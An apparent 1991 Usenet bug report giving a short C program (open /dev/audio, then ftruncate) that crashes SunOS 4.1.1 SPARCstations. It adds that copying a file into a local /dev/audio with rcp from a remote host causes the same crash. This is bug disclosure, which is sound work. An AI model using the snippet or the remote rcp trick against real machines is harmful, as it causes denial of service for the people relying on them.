law@super.org (Jeffrey A Law) (06/05/91)
The following code crashes sparcstations running 4.1.1. Anyone
know if Sun has fixed this yet?
#include <fcntl.h>
main()
{
int fd;
fd = open ("/dev/audio", O_RDWR);
ftruncate(fd, 8192);
}
Jeff
PS. You can get the same results by rcping from a remote host into
a local /dev/audio. Cute huh?